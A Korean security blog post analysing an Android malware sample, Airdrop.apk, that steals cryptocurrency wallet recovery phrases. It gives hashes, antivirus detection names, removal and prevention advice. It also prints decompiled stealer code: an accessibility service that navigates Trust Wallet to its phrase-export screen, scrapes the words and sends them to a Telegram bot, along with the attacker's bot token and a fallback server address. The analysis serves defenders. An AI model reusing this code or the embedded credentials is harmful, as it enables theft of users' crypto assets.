꿈을꾸는 파랑새

오늘은 가상화폐(암호 화폐)를 훔치는 안드로이드 악성코드인 Airdrop.apk에 대해 알아보겠습니다. 지난 시간에서는 북한 해커 단체인 김수키(Kimsuky=탈륨(Thallium)에서 한국인을 대상으로 가상화폐(암호화폐) 훔치는 악성코드에 대해 글을 적어 드린 적이 있었습니다. 

이번에 이야기하는 악성코드는 Airdrop으로 텔레그램(Telegram)을 통해서 키를 보내는 방식으로 취하고 있으면 해당 악성코드를 설치하면 해당 악성코드를 삭제를 방지하기 위해서 사용자가 어떠한 동작을 하든 스마트폰 바탕화면으로 나오게 하는 방식으로 해당 악성코드를 삭제를 방해하는 기능이 있습니다.

물론 지우는 방법은 없는 것은 아니지만, 글을 적으면서 삭제하는 방법에 대해 알아보겠습니다.

Airdrop 악성코드 실행
Airdrop 악성코드 실행

기본적으로 해쉬값은 다음과 같습니다.
파일명: Airdrop.apk
사이즈: 3,366,981 Bytes
CRC32:ec8017c1
MD5:70b07a67b618a6352bf35a735645b156

[소프트웨어 팁/보안 및 분석] - 북한 에서 만든것으로 추정 되는 가상화폐 훔치는 악성코드-DropPang.apk(드롭팡)

 

북한 에서 만든것으로 추정 되는 가상화폐 훔치는 악성코드-DropPang.apk(드롭팡)

오늘은 북한에서 만든 것으로 추정되는 가상화폐 훔치는 악성코드-DropPang.apk(드롭팡) 에 대해 간단하게 알아보는 시간을 가져 보겠습니다. 일단 유튜브에서 뉴스를 보니까 가상화폐를 탈취하는

wezard4u.tistory.com


SHA-1: 1f4bf9b3d1dba0f023e95aaef50e2cdb6b1c6ae
SHA-256:6f8992b2f3f1c58410293cc0b598dc74c2b1d9c165ad98d9ff5e12884148745e
SHA-512:12f27afb60c8771d2f2c3199a021271b846899f32ecd17f1fa7b2f42a3323fce2741f99384badf7762eb5adddd5e37a59677d3364ca800381c9f50e0f3376b90
입니다.

Airdrop 스마트폰 악성코드 접근성 요구
Airdrop 스마트폰 악성코드 접근성 요구


해당 안드로이드 악성코드 권한은 다음과 같습니다.
<uses-permission android:name="android.permission.INTERNET"/>

Airdrop 악성코드 안드로이드 권한
Airdrop 악성코드 안드로이드 권한

간단하게 인터넷 연결에 관한 것만 확인할 수가 있습니다.
그리고 해당 악성코드를 다운로드 해서 설치를 하면 안드로이드 스마트폰의 접근성에 접근하는 것을 볼 수가 있습니다. 여기서 해당 악성코드가 설치되고 해당 스마트폰의 접근성을 활성화해 달라고 하며 
복구 문자 도용 및 스마트폰 사용자의 동의 없이 서버로 전송되며 텔레그램 봇을 통해서 악의적인 목적을 가진 사람에게 해당 정보가 전송되게 돼 있는 구조입니다.
앱이름: Airdrop
패키지 이름: com.test.accessibility
그리고 androidx.appcompat.app.LayoutInflater$Factory2C0561f 부분에서는 IMEI 정보에 접근을 위한 코드들이 있는 것을 볼 수가 있습니다.

스마트폰 IMEI 접근
스마트폰 IMEI 접근

private boolean m2410A0(C0584t st, KeyEvent event) {
        AbstractC0702d0 d0Var;
        AbstractC0702d0 d0Var2;
        AbstractC0702d0 d0Var3;
        if (this.f2137T) {
            return false;
        }
        if (st.f2201m) {
            return true;
        }
        C0584t tVar = this.f2132O;
        if (!(tVar == null || tVar == st)) {
            mo2025O(tVar, false);
        }
        Window.Callback cb = mo2035f0();
        if (cb != null) {
            st.f2197i = cb.onCreatePanelView(st.f2189a);
        }
        int i = st.f2189a;
        boolean isActionBarMenu = i == 0 || i == 108;
        if (isActionBarMenu && (d0Var3 = this.f2160s) != null) {
            d0Var3.mo2568f();
        }
        if (st.f2197i == null) {
            if (isActionBarMenu) {
                mo2047y0();
            }
            C0614g gVar = st.f2198j;
            if (gVar == null || st.f2206r) {
                if (gVar == null && (!m2434j0(st) || st.f2198j == null)) {
                    return false;
                }
                if (isActionBarMenu && this.f2160s != null) {
                    if (this.f2161t == null) {
                        this.f2161t = new C0570h();
                    }
                    this.f2160s.mo2561a(st.f2198j, this.f2161t);
                }
                st.f2198j.mo2298d0();
                if (!cb.onCreatePanelMenu(st.f2189a, st.f2198j)) {
                    st.mo2069c(null);
                    if (isActionBarMenu && (d0Var2 = this.f2160s) != null) {
                        d0Var2.mo2561a(null, this.f2161t);
                    }
                    return false;
                }
                st.f2206r = false;
            }
            st.f2198j.mo2298d0();
            Bundle bundle = st.f2207s;
            if (bundle != null) {
                st.f2198j.mo2270P(bundle);
                st.f2207s = null;
            }
            if (!cb.onPreparePanel(0, st.f2197i, st.f2198j)) {
                if (isActionBarMenu && (d0Var = this.f2160s) != null) {
                    d0Var.mo2561a(null, this.f2161t);
                }
                st.f2198j.mo2293c0();
                return false;
            }
            boolean z = KeyCharacterMap.load(event != null ? event.getDeviceId() : -1).getKeyboardType() != 1;
            st.f2204p = z;
            st.f2198j.setQwertyMode(z);
            st.f2198j.mo2293c0();
        }
        st.f2201m = true;
        st.f2202n = false;
        this.f2132O = st;
        return true;
    }

그리고 com.test.accessibility.MyAccessibilityService 에서는 스마트폰 접근성에 대해 선언을 하고 있습니다.

악성코드 안드로이드 스마트폰 접근성
악성코드 안드로이드 스마트폰 접근성

Public static Integer f7107c = 0;

    public void onAccessibilityEvent(AccessibilityEvent event) {
        if (event.getPackageName().equals("com.wallet.crypto.trustapp")) {
            AccessibilityNodeInfo nodeInfo = event.getSource();
            if (nodeInfo == null) {
                return;
            }
            if (event.getClassName().toString().equals("com.wallet.crypto.trustapp.ui.start.activity.StartActivity")) {
                for (AccessibilityNodeInfo accessibilityNodeInfo : nodeInfo.findAccessibilityNodeInfosByText("Settings")) {
                    if (accessibilityNodeInfo.isClickable()) {
                        accessibilityNodeInfo.performAction(16);
                        nodeInfo.refresh();
                        nodeInfo.refresh();
                        nodeInfo.refresh();
                        nodeInfo.findAccessibilityNodeInfosByText("Wallets").get(0).getParent().performAction(16);
                        return;
                    }
                }
            } else if (event.getClassName().toString().equals("com.wallet.crypto.trustapp.ui.wallets.activity.WalletsActivity")) {
                try {
                    nodeInfo.getChild(3).getChild(1).getChild(0).getChild(2).performAction(16);
                } catch (Exception e) {
                }
            } else if (event.getClassName().toString().equals("com.wallet.crypto.trustapp.ui.wallets.activity.WalletInfoActivity")) {
                if (f7106b) {
                    nodeInfo.getChild(2).performAction(16);
                } else {
                    nodeInfo.getChild(4).performAction(16);
                }
            } else if (event.getClassName().toString().equals("com.wallet.crypto.trustapp.ui.wallets.activity.ExportPhraseActivity")) {
                nodeInfo.getChild(0).getChild(3).performAction(16);
                nodeInfo.getChild(0).getChild(4).performAction(16);
                nodeInfo.refresh();
                nodeInfo.refresh();
                nodeInfo.refresh();
                f7106b = true;
                mo7359a("2012379995:AAGPhRr3ntEfaB38Ul4PveGwNYLaRSiikLY", "-1001491052715", ((((((((((("" + nodeInfo.getChild(0).getChild(3).getText().toString() + " ") + nodeInfo.getChild(0).getChild(5).getText().toString() + " ") + nodeInfo.getChild(0).getChild(7).getText().toString() + " ") + nodeInfo.getChild(0).getChild(9).getText().toString() + " ") + nodeInfo.getChild(0).getChild(11).getText().toString() + " ") + nodeInfo.getChild(0).getChild(13).getText().toString() + " ") + nodeInfo.getChild(0).getChild(15).getText().toString() + " ") + nodeInfo.getChild(0).getChild(17).getText().toString() + " ") + nodeInfo.getChild(0).getChild(19).getText().toString() + " ") + nodeInfo.getChild(0).getChild(21).getText().toString() + " ") + nodeInfo.getChild(0).getChild(23).getText().toString() + " ") + nodeInfo.getChild(0).getChild(25).getText().toString());
                performGlobalAction(1);
            } else if (event.getClassName().toString().equals("androidx.appcompat.app.AlertDialog")) {
                try {
                    nodeInfo.findAccessibilityNodeInfosByText("OK").get(0).performAction(16);
                    f7106b = false;
                } catch (Exception e2) {
                }
            } else if (event.getClassName().toString().equals("com.wallet.crypto.trustapp.ui.addwallet.activity.AddWalletActivity")) {
                performGlobalAction(2);
            }
        } else if (!event.getPackageName().toString().equals("com.test.accessibility")) {
            performGlobalAction(1);
        }

그리고 com.test.accessibility.MyAccessibilityService 부분에서 보면 텔레그램 봇이 있는 것을 확인할 수가 있습니다.

Airdrop 가상화폐(암호 화폐 ) 텔레그램 봇 전송
Airdrop 가상화폐(암호 화폐 ) 텔레그램 봇 전송

public void mo7359a(String token, String id, String message) {
        try {
            C1716b0.C1718b bVar = new C1716b0.C1718b();
            TimeUnit timeUnit = TimeUnit.SECONDS;
            C1716b0 okHttpClient = bVar.mo7417c(20, timeUnit).mo7416b(3, timeUnit).mo7415a();
            C2007u.C2009b a = new C2007u.C2009b().mo8160b(C1907a.m9420f()).mo8159a(C2023g.m9639d());
            ((AbstractC1710e) a.mo8161c("https://api.telegram(.)org/bot" + token + "/").mo8165g(okHttpClient).mo8163e().mo8150b(AbstractC1710e.class)).mo7369a(id, message).mo8092z(new C1704a(token, id, message));
        } catch (Exception e) {
        }
    }

com.test.accessibility.AbstractC1710e 부분에서는 다음과 같은 명령어가 있는 것을 볼 수가 있습니다.

Airdrop 악성코드 접근성 접근
Airdrop 악성코드 접근성 접근

/* renamed from: com.test.accessibility.e */
public interface AbstractC1710e {
    @AbstractC1925o("sendMessage")
    /* renamed from: a */
    AbstractC1943d<String> mo7369a(@AbstractC1930t("chat_id") String str, @AbstractC1930t("text") String str2);
    @AbstractC1925o("SendToTelegram")
    /* renamed from: b */
    AbstractC1943d<String> mo7370b(@AbstractC1930t("token") String str, @AbstractC1930t("id") String str2, @AbstractC1930t("message") String str3);
}

다시 com.test.accessibility.MyAccessibilityService 부분에서는 TimeUnit timeUnit = TimeUnit.SECONDS;를 사용을 해서 시간 단위 변환을 하는 것을 볼 수가 있습니다. 단위 간의 변환을 해, 이러한 단위로 타이밍 및 지연 조작을 실행하는 유틸리티 메서드를 제공을 하는 것을 볼 수가 있습니다.
다음과 같이 돼 있습니다.

Airdrop 악성코드 TimeUnit

lic void mo7363a(AbstractC1943d<String> dVar, Throwable t) {
            C1716b0.C1718b bVar = new C1716b0.C1718b();
            TimeUnit timeUnit = TimeUnit.SECONDS;
            ((AbstractC1710e) new C2007u.C2009b().mo8160b(C1907a.m9420f()).mo8159a(C2023g.m9639d()).mo8161c("http://159.69.139(.)252:999/api/rest/").mo8165g(bVar.mo7417c(20, timeUnit).mo7416b(5, timeUnit).mo7415a()).mo8163e().mo8150b(AbstractC1710e.class)).mo7370b(this.f7108a, this.f7109b, this.f7110c).mo8092z(new C1705a());
        }

그리고 악성코드는 사용자가 악성코드인 것을 알아채고 제거를 시도하려고 해도 제거를 할 수 없게 방해를 하면 이런 방법을 사용하는 이유는 간단합니다. 암호화폐(가상화폐) 본인보다 공격자가 먼저 찾기 위한 목적을 달성하기 위해서 이면 그리고 만약 해당 악성코드가 작동해서 수동으로 제거하려고 하면 스마트폰을 안전모드로 부팅을 해서 제거를 하는 방법밖에 없습니다.

[소프트웨어 팁/보안 및 분석] - 안드로이드 스마트폰 안전모드로 부팅 하기(갤럭시 S 5 LTE-A 기준)

 

안드로이드 스마트폰 안전모드로 부팅 하기(갤럭시 S 5 LTE-A 기준)

최근에 유무선 공유기 DNS 변조를 통한 새롭게 발견된 것 중 하나가 아마도 컴퓨터 또는 스마트폰을 통해서 사이트에 접속할 때 "최신 버전 smart touch 출시가 되었습니다. 업데이트후 이용하시길

wezard4u.tistory.com

이런 악성코드 예방 방법은 간단합니다.
1. 구글 플레이 스토어 및 공식 스토어 이외에 어플 설치하지 말 것
2. 공신력 있는 백신 앱(안티바이러스 앱) 설치해서 실시간 감시 및 실시간 업데이트할 것(AV-TEST 참고)
3. 구글 안드로이드 스마트폰에서는 외부 앱을 설치를 하려고 하면 경고 메시지가 나오는데 해당 경고 메시지처럼 외부 앱 설치하지 말 것
4. 스팸 차단앱 후후,후스콜,T 전화 같은 것을 사용하면 이런 앱을 활용을 하면 이런 보이스피싱 피해를 줄일 수가 있습니다.
기본적인 보안 수칙을 지킨다고 하면 이런 스미싱 피해는 줄일 수가 있습니다. 특히 이름 있는 백신 어플을 사용을 하면 기본적으로 악성코드가 유포되는 사이트 및 악성코드를 사전에 차단할 수가 있습니다.
기본적으로 이름 있는 백신 앱을 설치하기를 권장하면 최소 안랩의 V3는 설치하시는 것을 추천 드리겠습니다.
2021-10-15 08:05:28 UTC 기준 바이러스토탈에서 탐지를 하는 제품들은 다음과 같습니다.
Ad-Aware:Trojan.GenericKD.47167521
Arcabit:Trojan.Generic.D2CFB821
Avast-Mobile:APK:RepMalware [Trj]
Avira (no cloud):ANDROID/Agent.YAJ
BitDefender:Trojan.GenericKD.47167521
BitDefenderFalx:Android.Trojan.InfoStealer.YB
Cynet:Malicious (score: 99)
DrWeb:Android.PWS.Btc.7
Emsisoft:Trojan.GenericKD.47167521 (B)
eScan:Trojan.GenericKD.47167521
ESET-NOD32:Android/Spy.Agent.BVR
FireEye:Trojan.GenericKD.47167521
Fortinet:Android/Agent.BVR!tr.spy
GData:Trojan.GenericKD.47167521
Ikarus:Trojan-Spy.AndroidOS.Agent
K7GW:Spyware ( 00588eb71 )
Kaspersky:HEUR:Trojan.AndroidOS.Piom.akwt
Lionic:Trojan.AndroidOS.Piom.C!c
MAX:Malware (ai Score=82)
McAfee:Artemis!70B07A67B618
McAfee-GW-Edition:Artemis!Trojan
Sophos:Andr/InfoStl-CH
Symantec:Trojan.Gen.MBT
Symantec Mobile Insight:AppRisk:Generisk
일단 기본적으로 안전하게 스마트폰을 사용하려고 앱을 외부에서 다운로드 해서 설치하는 것을 피해야 합니다.

그리드형

공유하기

facebook twitter kakaoTalk kakaostory naver band